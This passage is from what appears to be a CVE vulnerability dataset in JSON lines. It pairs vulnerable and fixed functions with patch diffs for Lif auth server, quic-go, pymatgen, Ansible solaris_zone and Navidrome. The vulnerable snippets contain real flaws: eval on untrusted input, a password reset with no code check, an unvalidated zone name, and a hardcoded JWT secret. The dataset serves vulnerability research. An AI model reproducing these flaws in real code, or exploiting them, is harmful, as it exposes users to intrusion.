caching limit to image\n    response.headers[\"Cache-Control\"] = \"public, max-age=3600\"\n\n    return response"}, {"id": "fix_py_333_3", "commit": "8dbd7cad914a8b939451c652bfb716aa796f754e", "file_path": "src/auth_server.py", "start_line": 501, "end_line": 528, "snippet": "async def get_banner(username: str):\n    \"\"\"\n    ## Get User Banner\n    Allows services to get the account banner of a specified account.\n    \n    ### Parameters:\n    - **username (str):** The username for the account.\n\n    ### Returns:\n    - **file:** The banner the service requested.\n    \"\"\"\n    # Sanitize the username\n    filtered_username = re.sub(r'[^a-zA-Z1-9\\._]+', '', username)\n\n    # Construct the file path using the sanitized username\n    banner_path = f\"user_images/banner/{filtered_username}\"\n\n    # Check if the file exists and is a regular file\n    if os.path.isfile(banner_path):\n        response = FileResponse(banner_path, media_type='image/gif')\n    else:\n        # Return default image if the user's banner doesn't exist\n        response = FileResponse(f'{assets_folder}/default_banner.png', media_type='image/gif')\n\n    # Add caching time limit to image\n    response.headers[\"Cache-Control\"] = \"public, max-age=3600\"\n\n    return response"}, {"id": "fix_py_333_4", "commit": "8dbd7cad914a8b939451c652bfb716aa796f754e", "file_path": "src/auth_server.py", "start_line": 681, "end_line": 741, "snippet": "async def account_recovery(websocket: WebSocket):\n    await websocket.accept()\n\n    # Stores email and code for later use\n    user_email = None\n    user_code = None\n\n    # Determines if the user has entered the correct code from the recovery email\n    authenticated = False\n\n    # Wait for client to send data\n    while True:\n        # Tries to receive data from client, if fails then the connection is closed\n        try:\n            data = await websocket.receive_json()\n\n            # Check what kind of data the client sent\n            if 'email' in data:\n                # Check email with database\n                if database.auth.check_email(data['email']):\n                    user_email = data['email']\n\n                    # Send recovery code to user\n                    user_code = mail_service.send_recovery_email(user_email)\n\n                    # Tell client email was received\n                    await websocket.send_json({\"responseType\": \"emailSent\", \"message\": \"Email sent successfully.\"})\n                else:\n                    # Tell client email is invalid\n                    await websocket.send_json({\"responseType\": \"error\", \"message\": \"Invalid Email!\"})\n                    \n            elif 'code' in data:\n                # Compare generated code with user provided code\n                if data['code'] == user_code:\n                    # Sets the user to authenticated so the password can be updated\n                    authenticated = True\n\n                    await websocket.send_json({\"responseType\": \"codeCorrect\", \"message\": \"Code validated successfully.\"})\n                else:\n                    await websocket.send_json({\"responseType\": \"error\", \"message\": \"Bad Code\"})\n                    \n            elif 'password' in data:\n                if authenticated:\n                    # Get password hash and gen salt\n                    password_hash = hasher.get_hash_gen_salt(data['password'])\n\n                    # Get username from email\n                    username = database.get_username_from_email(user_email)\n\n                    # Update password and salt in database\n                    database.update.update_password(username, password_hash['password'])\n                    database.update.update_user_salt(username, password_hash['salt'])\n\n                    # Get user token\n                    token = database.info.retrieve_user_token(username)\n\n                    await websocket.send_json({\"responseType\": \"passwordUpdated\", \"username\": username, \"token\": token})\n                else:\n                    await websocket.send_json({\"responseType\": \"error\", \"message\": \"You have not authenticated yet\"})\n            else:\n                await websocket.send_json({\"responseType\": \"error\", \"message\": \"Bad Request\"})"}], "vul_patch": "--- a/src/auth_server.py\n+++ b/src/auth_server.py\n@@ -1,4 +1,4 @@\n-async def log_out(response: Response):\n+async def log_out(response: Response, redirect = None):\n     \"\"\"\n     ## Logout Route For Lif Accounts\n     Handles the logout process for Lif Accounts.\n@@ -6,10 +6,31 @@\n     ### Parameters:\n     none\n \n+    ### Query Parameters\n+    - **redirect:** url to redirect to after the logout completes.\n+\n     ### Returns:\n     - **STRING:** Status of the operation.\n     \"\"\"\n     response.delete_cookie(key=\"LIF_USERNAME\", path=\"/\", domain=\".lifplatforms.com\")\n     response.delete_cookie(key=\"LIF_TOKEN\", path=\"/\", domain=\".lifplatforms.com\")\n \n-    return \"Logout Successful\"\n+    # Create a RedirectResponse\n+    redirect_response = RedirectResponse(url=redirect)\n+\n+    # Copy the cookies from the response to the redirect response\n+    for cookie in response.headers.getlist(\"set-cookie\"):\n+        redirect_response.headers.append(\"set-cookie\", cookie)\n+\n+    if redirect != None:\n+        # Check to ensure redirect URL goes to a Lif Platforms domain\n+        extracted = tldextract.extract(redirect)\n+        domain = f\"{extracted.domain}.{extracted.suffix}\"\n+\n+        if domain == \"lifplatforms.com\":\n+            return redirect_response\n+        else:\n+            print(domain)\n+            raise HTTPException(status_code=400, detail=\"Untrusted redirect url.\")\n+    else:\n+        return \"Log Out Successful\"\n\n--- a/src/auth_server.py\n+++ b/src/auth_server.py\n@@ -17,7 +17,12 @@\n \n     # Check if the file exists and is a regular file\n     if os.path.isfile(avatar_path):\n-        return FileResponse(avatar_path, media_type='image/gif')\n+        response = FileResponse(avatar_path, media_type='image/gif')\n     else:\n         # Return default image if the user's banner doesn't exist\n-        return FileResponse(f'{assets_folder}/default_pfp.png', media_type='image/gif')\n+        response = FileResponse(f'{assets_folder}/default_pfp.png', media_type='image/gif')\n+\n+    # Add caching limit to image\n+    response.headers[\"Cache-Control\"] = \"public, max-age=3600\"\n+\n+    return response\n\n--- a/src/auth_server.py\n+++ b/src/auth_server.py\n@@ -17,7 +17,12 @@\n \n     # Check if the file exists and is a regular file\n     if os.path.isfile(banner_path):\n-        return FileResponse(banner_path, media_type='image/gif')\n+        response = FileResponse(banner_path, media_type='image/gif')\n     else:\n         # Return default image if the user's banner doesn't exist\n-        return FileResponse(f'{assets_folder}/default_banner.png', media_type='image/gif')\n+        response = FileResponse(f'{assets_folder}/default_banner.png', media_type='image/gif')\n+\n+    # Add caching time limit to image\n+    response.headers[\"Cache-Control\"] = \"public, max-age=3600\"\n+\n+    return response\n\n--- a/src/auth_server.py\n+++ b/src/auth_server.py\n@@ -4,6 +4,9 @@\n     # Stores email and code for later use\n     user_email = None\n     user_code = None\n+\n+    # Determines if the user has entered the correct code from the recovery email\n+    authenticated = False\n \n     # Wait for client to send data\n     while True:\n@@ -29,24 +32,30 @@\n             elif 'code' in data:\n                 # Compare generated code with user provided code\n                 if data['code'] == user_code:\n+                    # Sets the user to authenticated so the password can be updated\n+                    authenticated = True\n+\n                     await websocket.send_json({\"responseType\": \"codeCorrect\", \"message\": \"Code validated successfully.\"})\n                 else:\n                     await websocket.send_json({\"responseType\": \"error\", \"message\": \"Bad Code\"})\n                     \n             elif 'password' in data:\n-                # Get password hash and gen salt\n-                password_hash = hasher.get_hash_gen_salt(data['password'])\n+                if authenticated:\n+                    # Get password hash and gen salt\n+                    password_hash = hasher.get_hash_gen_salt(data['password'])\n \n-                # Get username from email\n-                username = database.get_username_from_email(user_email)\n+                    # Get username from email\n+                    username = database.get_username_from_email(user_email)\n \n-                # Update password and salt in database\n-                database.update.update_password(username, password_hash['password'])\n-                database.update.update_user_salt(username, password_hash['salt'])\n+                    # Update password and salt in database\n+                    database.update.update_password(username, password_hash['password'])\n+                    database.update.update_user_salt(username, password_hash['salt'])\n \n-                # Get user token\n-                token = database.info.retrieve_user_token(username)\n+                    # Get user token\n+                    token = database.info.retrieve_user_token(username)\n \n-                await websocket.send_json({\"responseType\": \"passwordUpdated\", \"username\": username, \"token\": token})\n+                    await websocket.send_json({\"responseType\": \"passwordUpdated\", \"username\": username, \"token\": token})\n+                else:\n+                    await websocket.send_json({\"responseType\": \"error\", \"message\": \"You have not authenticated yet\"})\n             else:\n                 await websocket.send_json({\"responseType\": \"error\", \"message\": \"Bad Request\"})\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-49295", "cve_description": "quic-go is an implementation of the QUIC protocol (RFC 9000, RFC 9001, RFC 9002) in Go. An attacker can cause its peer to run out of memory sending a large number of PATH_CHALLENGE frames. The receiver is supposed to respond to each PATH_CHALLENGE frame with a PATH_RESPONSE frame. The attacker can prevent the receiver from sending out (the vast majority of) these PATH_RESPONSE frames by collapsing the peers congestion window (by selectively acknowledging received packets) and by manipulating the peer's RTT estimate. This vulnerability has been patched in versions 0.37.7, 0.38.2 and 0.39.4.", "cwe_info": {"CWE-400": {"name": "Uncontrolled Resource Consumption", "description": "The product does not properly control the allocation and maintenance of a limited resource."}}, "repo": "https://github.com/quic-go/quic-go", "patch_url": ["https://github.com/quic-go/quic-go/commit/17fc98c2d81dbe685c19702dc694a9d606ac56dc"], "programing_language": "Go", "vul_func": [{"id": "vul_go_285_1", "commit": "d22854641ace1792ca27d7d911a6d62c0075e2c2", "file_path": "framer.go", "start_line": 47, "end_line": 58, "snippet": "func (f *framerI) HasData() bool {\n\tf.mutex.Lock()\n\thasData := !f.streamQueue.Empty()\n\tf.mutex.Unlock()\n\tif hasData {\n\t\treturn true\n\t}\n\tf.controlFrameMutex.Lock()\n\thasData = len(f.controlFrames) > 0\n\tf.controlFrameMutex.Unlock()\n\treturn hasData\n}"}, {"id": "vul_go_285_2", "commit": "d22854641ace1792ca27d7d911a6d62c0075e2c2", "file_path": "framer.go", "start_line": 60, "end_line": 64, "snippet": "func (f *framerI) QueueControlFrame(frame wire.Frame) {\n\tf.controlFrameMutex.Lock()\n\tf.controlFrames = append(f.controlFrames, frame)\n\tf.controlFrameMutex.Unlock()\n}"}, {"id": "vul_go_285_3", "commit": "d22854641ace1792ca27d7d911a6d62c0075e2c2", "file_path": "framer.go", "start_line": 66, "end_line": 81, "snippet": "func (f *framerI) AppendControlFrames(frames []ackhandler.Frame, maxLen protocol.ByteCount, v protocol.VersionNumber) ([]ackhandler.Frame, protocol.ByteCount) {\n\tvar length protocol.ByteCount\n\tf.controlFrameMutex.Lock()\n\tfor len(f.controlFrames) > 0 {\n\t\tframe := f.controlFrames[len(f.controlFrames)-1]\n\t\tframeLen := frame.Length(v)\n\t\tif length+frameLen > maxLen {\n\t\t\tbreak\n\t\t}\n\t\tframes = append(frames, ackhandler.Frame{Frame: frame})\n\t\tlength += frameLen\n\t\tf.controlFrames = f.controlFrames[:len(f.controlFrames)-1]\n\t}\n\tf.controlFrameMutex.Unlock()\n\treturn frames, length\n}"}], "fix_func": [{"id": "fix_go_285_1", "commit": "17fc98c2d81dbe685c19702dc694a9d606ac56dc", "file_path": "framer.go", "start_line": 50, "end_line": 60, "snippet": "func (f *framerI) HasData() bool {\n\tf.mutex.Lock()\n\thasData := !f.streamQueue.Empty()\n\tf.mutex.Unlock()\n\tif hasData {\n\t\treturn true\n\t}\n\tf.controlFrameMutex.Lock()\n\tdefer f.controlFrameMutex.Unlock()\n\treturn len(f.controlFrames) > 0 || len(f.pathResponses) > 0\n}"}, {"id": "fix_go_285_2", "commit": "17fc98c2d81dbe685c19702dc694a9d606ac56dc", "file_path": "framer.go", "start_line": 62, "end_line": 77, "snippet": "func (f *framerI) QueueControlFrame(frame wire.Frame) {\n\tf.controlFrameMutex.Lock()\n\tdefer f.controlFrameMutex.Unlock()\n\n\tif pr, ok := frame.(*wire.PathResponseFrame); ok {\n\t\t// Only queue up to maxPathResponses PATH_RESPONSE frames.\n\t\t// This limit should be high enough to never be hit in practice,\n\t\t// unless the peer is doing something malicious.\n\t\tif len(f.pathResponses) >= maxPathResponses {\n\t\t\treturn\n\t\t}\n\t\tf.pathResponses = append(f.pathResponses, pr)\n\t\treturn\n\t}\n\tf.controlFrames = append(f.controlFrames, frame)\n}"}, {"id": "fix_go_285_3", "commit": "17fc98c2d81dbe685c19702dc694a9d606ac56dc", "file_path": "framer.go", "start_line": 79, "end_line": 106, "snippet": "func (f *framerI) AppendControlFrames(frames []ackhandler.Frame, maxLen protocol.ByteCount, v protocol.VersionNumber) ([]ackhandler.Frame, protocol.ByteCount) {\n\tf.controlFrameMutex.Lock()\n\tdefer f.controlFrameMutex.Unlock()\n\n\tvar length protocol.ByteCount\n\t// add a PATH_RESPONSE first, but only pack a single PATH_RESPONSE per packet\n\tif len(f.pathResponses) > 0 {\n\t\tframe := f.pathResponses[0]\n\t\tframeLen := frame.Length(v)\n\t\tif frameLen <= maxLen {\n\t\t\tframes = append(frames, ackhandler.Frame{Frame: frame})\n\t\t\tlength += frameLen\n\t\t\tf.pathResponses = f.pathResponses[1:]\n\t\t}\n\t}\n\n\tfor len(f.controlFrames) > 0 {\n\t\tframe := f.controlFrames[len(f.controlFrames)-1]\n\t\tframeLen := frame.Length(v)\n\t\tif length+frameLen > maxLen {\n\t\t\tbreak\n\t\t}\n\t\tframes = append(frames, ackhandler.Frame{Frame: frame})\n\t\tlength += frameLen\n\t\tf.controlFrames = f.controlFrames[:len(f.controlFrames)-1]\n\t}\n\treturn frames, length\n}"}], "vul_patch": "--- a/framer.go\n+++ b/framer.go\n@@ -6,7 +6,6 @@\n \t\treturn true\n \t}\n \tf.controlFrameMutex.Lock()\n-\thasData = len(f.controlFrames) > 0\n-\tf.controlFrameMutex.Unlock()\n-\treturn hasData\n+\tdefer f.controlFrameMutex.Unlock()\n+\treturn len(f.controlFrames) > 0 || len(f.pathResponses) > 0\n }\n\n--- a/framer.go\n+++ b/framer.go\n@@ -1,5 +1,16 @@\n func (f *framerI) QueueControlFrame(frame wire.Frame) {\n \tf.controlFrameMutex.Lock()\n+\tdefer f.controlFrameMutex.Unlock()\n+\n+\tif pr, ok := frame.(*wire.PathResponseFrame); ok {\n+\t\t// Only queue up to maxPathResponses PATH_RESPONSE frames.\n+\t\t// This limit should be high enough to never be hit in practice,\n+\t\t// unless the peer is doing something malicious.\n+\t\tif len(f.pathResponses) >= maxPathResponses {\n+\t\t\treturn\n+\t\t}\n+\t\tf.pathResponses = append(f.pathResponses, pr)\n+\t\treturn\n+\t}\n \tf.controlFrames = append(f.controlFrames, frame)\n-\tf.controlFrameMutex.Unlock()\n }\n\n--- a/framer.go\n+++ b/framer.go\n@@ -1,6 +1,19 @@\n func (f *framerI) AppendControlFrames(frames []ackhandler.Frame, maxLen protocol.ByteCount, v protocol.VersionNumber) ([]ackhandler.Frame, protocol.ByteCount) {\n+\tf.controlFrameMutex.Lock()\n+\tdefer f.controlFrameMutex.Unlock()\n+\n \tvar length protocol.ByteCount\n-\tf.controlFrameMutex.Lock()\n+\t// add a PATH_RESPONSE first, but only pack a single PATH_RESPONSE per packet\n+\tif len(f.pathResponses) > 0 {\n+\t\tframe := f.pathResponses[0]\n+\t\tframeLen := frame.Length(v)\n+\t\tif frameLen <= maxLen {\n+\t\t\tframes = append(frames, ackhandler.Frame{Frame: frame})\n+\t\t\tlength += frameLen\n+\t\t\tf.pathResponses = f.pathResponses[1:]\n+\t\t}\n+\t}\n+\n \tfor len(f.controlFrames) > 0 {\n \t\tframe := f.controlFrames[len(f.controlFrames)-1]\n \t\tframeLen := frame.Length(v)\n@@ -11,6 +24,5 @@\n \t\tlength += frameLen\n \t\tf.controlFrames = f.controlFrames[:len(f.controlFrames)-1]\n \t}\n-\tf.controlFrameMutex.Unlock()\n \treturn frames, length\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-23346", "cve_description": "Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/materialsproject/pymatgen", "patch_url": ["https://github.com/materialsproject/pymatgen/commit/c231cbd3d5147ee920a37b6ee9dd236b376bcf5a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_291_1", "commit": "12ab947", "file_path": "pymatgen/symmetry/settings.py", "start_line": 84, "end_line": 116, "snippet": "    def parse_transformation_string(\n        transformation_string: str = \"a,b,c;0,0,0\",\n    ) -> tuple[list[list[float]] | np.ndarray, list[float]]:\n        \"\"\"\n        Args:\n            transformation_string (str, optional): Defaults to \"a,b,c;0,0,0\".\n\n        Raises:\n            ValueError: When transformation string fails to parse.\n\n        Returns:\n            tuple[list[list[float]] | np.ndarray, list[float]]: transformation matrix & vector\n        \"\"\"\n        try:\n            a, b, c = np.eye(3)\n            b_change, o_shift = transformation_string.split(\";\")\n            basis_change = b_change.split(\",\")\n            origin_shift = o_shift.split(\",\")\n            # add implicit multiplication symbols\n            basis_change = [\n                re.sub(r\"(?<=\\w|\\))(?=\\() | (?<=\\))(?=\\w) | (?<=(\\d|a|b|c))(?=([abc]))\", r\"*\", string, flags=re.X)\n                for string in basis_change\n            ]\n            # should be fine to use eval here but be mindful for security\n            # reasons\n            # see http://lybniz2.sourceforge.net/safeeval.html\n            # could replace with regex? or sympy expression?\n            P = np.array([eval(x, {\"__builtins__\": None}, {\"a\": a, \"b\": b, \"c\": c}) for x in basis_change])\n            P = P.transpose()  # by convention\n            p = [float(Fraction(x)) for x in origin_shift]\n            return P, p\n        except Exception:\n            raise ValueError(\"Failed to parse transformation string.\")"}], "fix_func": [{"id": "fix_py_291_1", "commit": "c231cbd3d5147ee920a37b6ee9dd236b376bcf5a", "file_path": "pymatgen/symmetry/settings.py", "start_line": 85, "end_line": 126, "snippet": "    @staticmethod\n    def parse_transformation_string(\n        transformation_string: str = \"a,b,c;0,0,0\",\n    ) -> tuple[list[list[float]] | np.ndarray, list[float]]:\n        \"\"\"\n        Args:\n            transformation_string (str, optional): Defaults to \"a,b,c;0,0,0\".\n\n        Raises:\n            ValueError: When transformation string fails to parse.\n\n        Returns:\n            tuple[list[list[float]] | np.ndarray, list[float]]: transformation matrix & vector\n        \"\"\"\n        try:\n            a, b, c = np.eye(3)\n            b_change, o_shift = transformation_string.split(\";\")\n            basis_change = b_change.split(\",\")\n            origin_shift = o_shift.split(\",\")\n\n            # add implicit multiplication symbols\n            basis_change = [\n                re.sub(r\"(?<=\\w|\\))(?=\\() | (?<=\\))(?=\\w) | (?<=(\\d|a|b|c))(?=([abc]))\", r\"*\", string, flags=re.X)\n                for string in basis_change\n            ]\n\n            # basic input sanitation\n            allowed_chars = \"0123456789+-*/.abc()\"\n            basis_change = [\"\".join([c for c in string if c in allowed_chars]) for string in basis_change]\n\n            # requires round-trip to sympy to evaluate\n            # (alternatively, `numexpr` looks like a nice solution but requires an additional dependency)\n            basis_change = [\n                parse_expr(string).subs({\"a\": Matrix(a), \"b\": Matrix(b), \"c\": Matrix(c)}) for string in basis_change\n            ]\n            # convert back to numpy, perform transpose by convention\n            P = np.array(basis_change, dtype=float).T[0]\n\n            p = [float(Fraction(x)) for x in origin_shift]\n            return P, p\n        except Exception as exc:\n            raise ValueError(f\"Failed to parse transformation string: {exc}\")"}], "vul_patch": "--- a/pymatgen/symmetry/settings.py\n+++ b/pymatgen/symmetry/settings.py\n@@ -1,3 +1,4 @@\n+    @staticmethod\n     def parse_transformation_string(\n         transformation_string: str = \"a,b,c;0,0,0\",\n     ) -> tuple[list[list[float]] | np.ndarray, list[float]]:\n@@ -16,18 +17,26 @@\n             b_change, o_shift = transformation_string.split(\";\")\n             basis_change = b_change.split(\",\")\n             origin_shift = o_shift.split(\",\")\n+\n             # add implicit multiplication symbols\n             basis_change = [\n                 re.sub(r\"(?<=\\w|\\))(?=\\() | (?<=\\))(?=\\w) | (?<=(\\d|a|b|c))(?=([abc]))\", r\"*\", string, flags=re.X)\n                 for string in basis_change\n             ]\n-            # should be fine to use eval here but be mindful for security\n-            # reasons\n-            # see http://lybniz2.sourceforge.net/safeeval.html\n-            # could replace with regex? or sympy expression?\n-            P = np.array([eval(x, {\"__builtins__\": None}, {\"a\": a, \"b\": b, \"c\": c}) for x in basis_change])\n-            P = P.transpose()  # by convention\n+\n+            # basic input sanitation\n+            allowed_chars = \"0123456789+-*/.abc()\"\n+            basis_change = [\"\".join([c for c in string if c in allowed_chars]) for string in basis_change]\n+\n+            # requires round-trip to sympy to evaluate\n+            # (alternatively, `numexpr` looks like a nice solution but requires an additional dependency)\n+            basis_change = [\n+                parse_expr(string).subs({\"a\": Matrix(a), \"b\": Matrix(b), \"c\": Matrix(c)}) for string in basis_change\n+            ]\n+            # convert back to numpy, perform transpose by convention\n+            P = np.array(basis_change, dtype=float).T[0]\n+\n             p = [float(Fraction(x)) for x in origin_shift]\n             return P, p\n-        except Exception:\n-            raise ValueError(\"Failed to parse transformation string.\")\n+        except Exception as exc:\n+            raise ValueError(f\"Failed to parse transformation string: {exc}\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-14904", "cve_description": "A flaw was found in the solaris_zone module from the Ansible Community modules. When setting the name for the zone on the Solaris host, the zone name is checked by listing the process with the 'ps' bare command on the remote machine. An attacker could take advantage of this flaw by crafting the name of the zone and executing arbitrary commands in the remote host. Ansible Engine 2.7.15, 2.8.7, and 2.9.2 as well as previous versions are affected.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ansible/ansible", "patch_url": ["https://github.com/ansible/ansible/commit/a1b0f72c98b4b2afaab8aafa255e82c2075049c8", "https://github.com/ansible/ansible/commit/6a86650109b8654f5898369e45d3857624edf907", "https://github.com/ansible/ansible/commit/589a415f887b6f2bb65cd07fe6b2e9d0a8156b69"], "programing_language": "Python", "vul_func": [{"id": "vul_py_373_1", "commit": "755348d870f5b0c25a2fb334cd91c8702e6403b3", "file_path": "lib/ansible/modules/system/solaris_zone.py", "start_line": 157, "end_line": 184, "snippet": "    def __init__(self, module):\n        self.changed = False\n        self.msg = []\n\n        self.module = module\n        self.path = self.module.params['path']\n        self.name = self.module.params['name']\n        self.sparse = self.module.params['sparse']\n        self.root_password = self.module.params['root_password']\n        self.timeout = self.module.params['timeout']\n        self.config = self.module.params['config']\n        self.create_options = self.module.params['create_options']\n        self.install_options = self.module.params['install_options']\n        self.attach_options = self.module.params['attach_options']\n\n        self.zoneadm_cmd = self.module.get_bin_path('zoneadm', True)\n        self.zonecfg_cmd = self.module.get_bin_path('zonecfg', True)\n        self.ssh_keygen_cmd = self.module.get_bin_path('ssh-keygen', True)\n\n        if self.module.check_mode:\n            self.msg.append('Running in check mode')\n\n        if platform.system() != 'SunOS':\n            self.module.fail_json(msg='This module requires Solaris')\n\n        (self.os_major, self.os_minor) = platform.release().split('.')\n        if int(self.os_minor) < 10:\n            self.module.fail_json(msg='This module requires Solaris 10 or later')"}], "fix_func": [{"id": "fix_py_373_1", "commit": "a1b0f72c98b4b2afaab8aafa255e82c2075049c8", "file_path": "lib/ansible/modules/system/solaris_zone.py", "start_line": 162, "end_line": 194, "snippet": "    def __init__(self, module):\n        self.changed = False\n        self.msg = []\n\n        self.module = module\n        self.path = self.module.params['path']\n        self.name = self.module.params['name']\n        self.sparse = self.module.params['sparse']\n        self.root_password = self.module.params['root_password']\n        self.timeout = self.module.params['timeout']\n        self.config = self.module.params['config']\n        self.create_options = self.module.params['create_options']\n        self.install_options = self.module.params['install_options']\n        self.attach_options = self.module.params['attach_options']\n\n        self.zoneadm_cmd = self.module.get_bin_path('zoneadm', True)\n        self.zonecfg_cmd = self.module.get_bin_path('zonecfg', True)\n        self.ssh_keygen_cmd = self.module.get_bin_path('ssh-keygen', True)\n\n        if self.module.check_mode:\n            self.msg.append('Running in check mode')\n\n        if platform.system() != 'SunOS':\n            self.module.fail_json(msg='This module requires Solaris')\n\n        (self.os_major, self.os_minor) = platform.release().split('.')\n        if int(self.os_minor) < 10:\n            self.module.fail_json(msg='This module requires Solaris 10 or later')\n\n        match = re.match('^[a-zA-Z0-9][-_.a-zA-Z0-9]{0,62}$', self.name)\n        if not match:\n            self.module.fail_json(msg=\"Provided zone name is not a valid zone name. \"\n                                      \"Please refer documentation for correct zone name specifications.\")"}], "vul_patch": "--- a/lib/ansible/modules/system/solaris_zone.py\n+++ b/lib/ansible/modules/system/solaris_zone.py\n@@ -26,3 +26,8 @@\n         (self.os_major, self.os_minor) = platform.release().split('.')\n         if int(self.os_minor) < 10:\n             self.module.fail_json(msg='This module requires Solaris 10 or later')\n+\n+        match = re.match('^[a-zA-Z0-9][-_.a-zA-Z0-9]{0,62}$', self.name)\n+        if not match:\n+            self.module.fail_json(msg=\"Provided zone name is not a valid zone name. \"\n+                                      \"Please refer documentation for correct zone name specifications.\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-51442", "cve_description": "Navidrome is an open source web-based music collection server and streamer. A security vulnerability has been identified in navidrome's subsonic endpoint, allowing for authentication bypass. This exploit enables unauthorized access to any known account by utilizing a JSON Web Token (JWT) signed with the key \"not so secret\". The vulnerability can only be exploited on instances that have never been restarted. Navidrome supports an extension to the subsonic authentication scheme, where a JWT can be provided using a `jwt` query parameter instead of the traditional password or token and salt (corresponding to resp. the `p` or `t` and `s` query parameters). This authentication bypass vulnerability potentially affects all instances that don't protect the subsonic endpoint `/rest/`, which is expected to be most instances in a standard deployment, and most instances in the reverse proxy setup too (as the documentation mentions to leave that endpoint unprotected). This issue has been patched in version 0.50.2.\n", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/navidrome/navidrome", "patch_url": ["https://github.com/navidrome/navidrome/commit/1132abb0135d1ecaebc41ed97a1e908a4ae02f7c"], "programing_language": "Go", "vul_func": [{"id": "vul_go_214_1", "commit": "f69c27d", "file_path": "core/auth/auth.go", "start_line": 23, "end_line": 33, "snippet": "func Init(ds model.DataStore) {\n\tonce.Do(func() {\n\t\tlog.Info(\"Setting Session Timeout\", \"value\", conf.Server.SessionTimeout)\n\t\tsecret, err := ds.Property(context.TODO()).DefaultGet(consts.JWTSecretKey, \"not so secret\")\n\t\tif err != nil {\n\t\t\tlog.Error(\"No JWT secret found in DB. Setting a temp one, but please report this error\", err)\n\t\t}\n\t\tSecret = []byte(secret)\n\t\tTokenAuth = jwtauth.New(\"HS256\", Secret, nil)\n\t})\n}"}, {"id": "vul_go_214_2", "commit": "f69c27d", "file_path": "server/server.go", "start_line": 35, "end_line": 45, "snippet": "func New(ds model.DataStore, broker events.Broker) *Server {\n\ts := &Server{ds: ds, broker: broker}\n\tauth.Init(s.ds)\n\tinitialSetup(ds)\n\ts.initRoutes()\n\ts.mountAuthenticationRoutes()\n\ts.mountRootRedirector()\n\tcheckFfmpegInstallation()\n\tcheckExternalCredentials()\n\treturn s\n}"}], "fix_func": [{"id": "fix_go_214_1", "commit": "1132abb0135d1ecaebc41ed97a1e908a4ae02f7c", "file_path": "core/auth/auth.go", "start_line": 24, "end_line": 35, "snippet": "func Init(ds model.DataStore) {\n\tonce.Do(func() {\n\t\tlog.Info(\"Setting Session Timeout\", \"value\", conf.Server.SessionTimeout)\n\t\tsecret, err := ds.Property(context.TODO()).Get(consts.JWTSecretKey)\n\t\tif err != nil || secret == \"\" {\n\t\t\tlog.Error(\"No JWT secret found in DB. Setting a temp one, but please report this error\", err)\n\t\t\tsecret = uuid.NewString()\n\t\t}\n\t\tSecret = []byte(secret)\n\t\tTokenAuth = jwtauth.New(\"HS256\", Secret, nil)\n\t})\n}"}, {"id": "fix_go_214_2", "commit": "1132abb0135d1ecaebc41ed97a1e908a4ae02f7c", "file_path": "server/server.go", "start_line": 35, "end_line": 45, "snippet": "func New(ds model.DataStore, broker events.Broker) *Server {\n\ts := &Server{ds: ds, broker: broker}\n\tinitialSetup(ds)\n\tauth.Init(s.ds)\n\ts.initRoutes()\n\ts.mountAuthenticationRoutes()\n\ts.mountRootRedirector()\n\tcheckFfmpegInstallation()\n\tcheckExternalCredentials()\n\treturn s\n}"}], "vul_patch": "--- a/core/auth/auth.go\n+++ b/core/auth/auth.go\n@@ -1,9 +1,10 @@\n func Init(ds model.DataStore) {\n \tonce.Do(func() {\n \t\tlog.Info(\"Setting Session Timeout\", \"value\", conf.Server.SessionTimeout)\n-\t\tsecret, err := ds.Property(context.TODO()).DefaultGet(consts.JWTSecretKey, \"not so secret\")\n-\t\tif err != nil {\n+\t\tsecret, err := ds.Property(context.TODO()).Get(consts.JWTSecretKey)\n+\t\tif err != nil || secret == \"\" {\n \t\t\tlog.Error(\"No JWT secret found in DB. Setting a temp one, but please report this error\", err)\n+\t\t\tsecret = uuid.NewString()\n \t\t}\n \t\tSecret = []byte(secret)\n \t\tTokenAuth = jwtauth.New(\"HS256\", Secret, nil)\n\n--- a/server/server.go\n+++ b/server/server.go\n@@ -1,7 +1,7 @@\n func New(ds model.DataStore, broker events.Broker) *Server {\n \ts := &Server{ds: ds, broker: broker}\n+\tinitialSetup(ds)\n \tauth.Init(s.ds)\n-\tinitialSetup(ds)\n \ts.initRoutes()\n \ts.mountAuthenticationRoutes()\n \ts.mountRootRedirector()\n\n", "poc_patch": null, "unit_test_cmd": null}
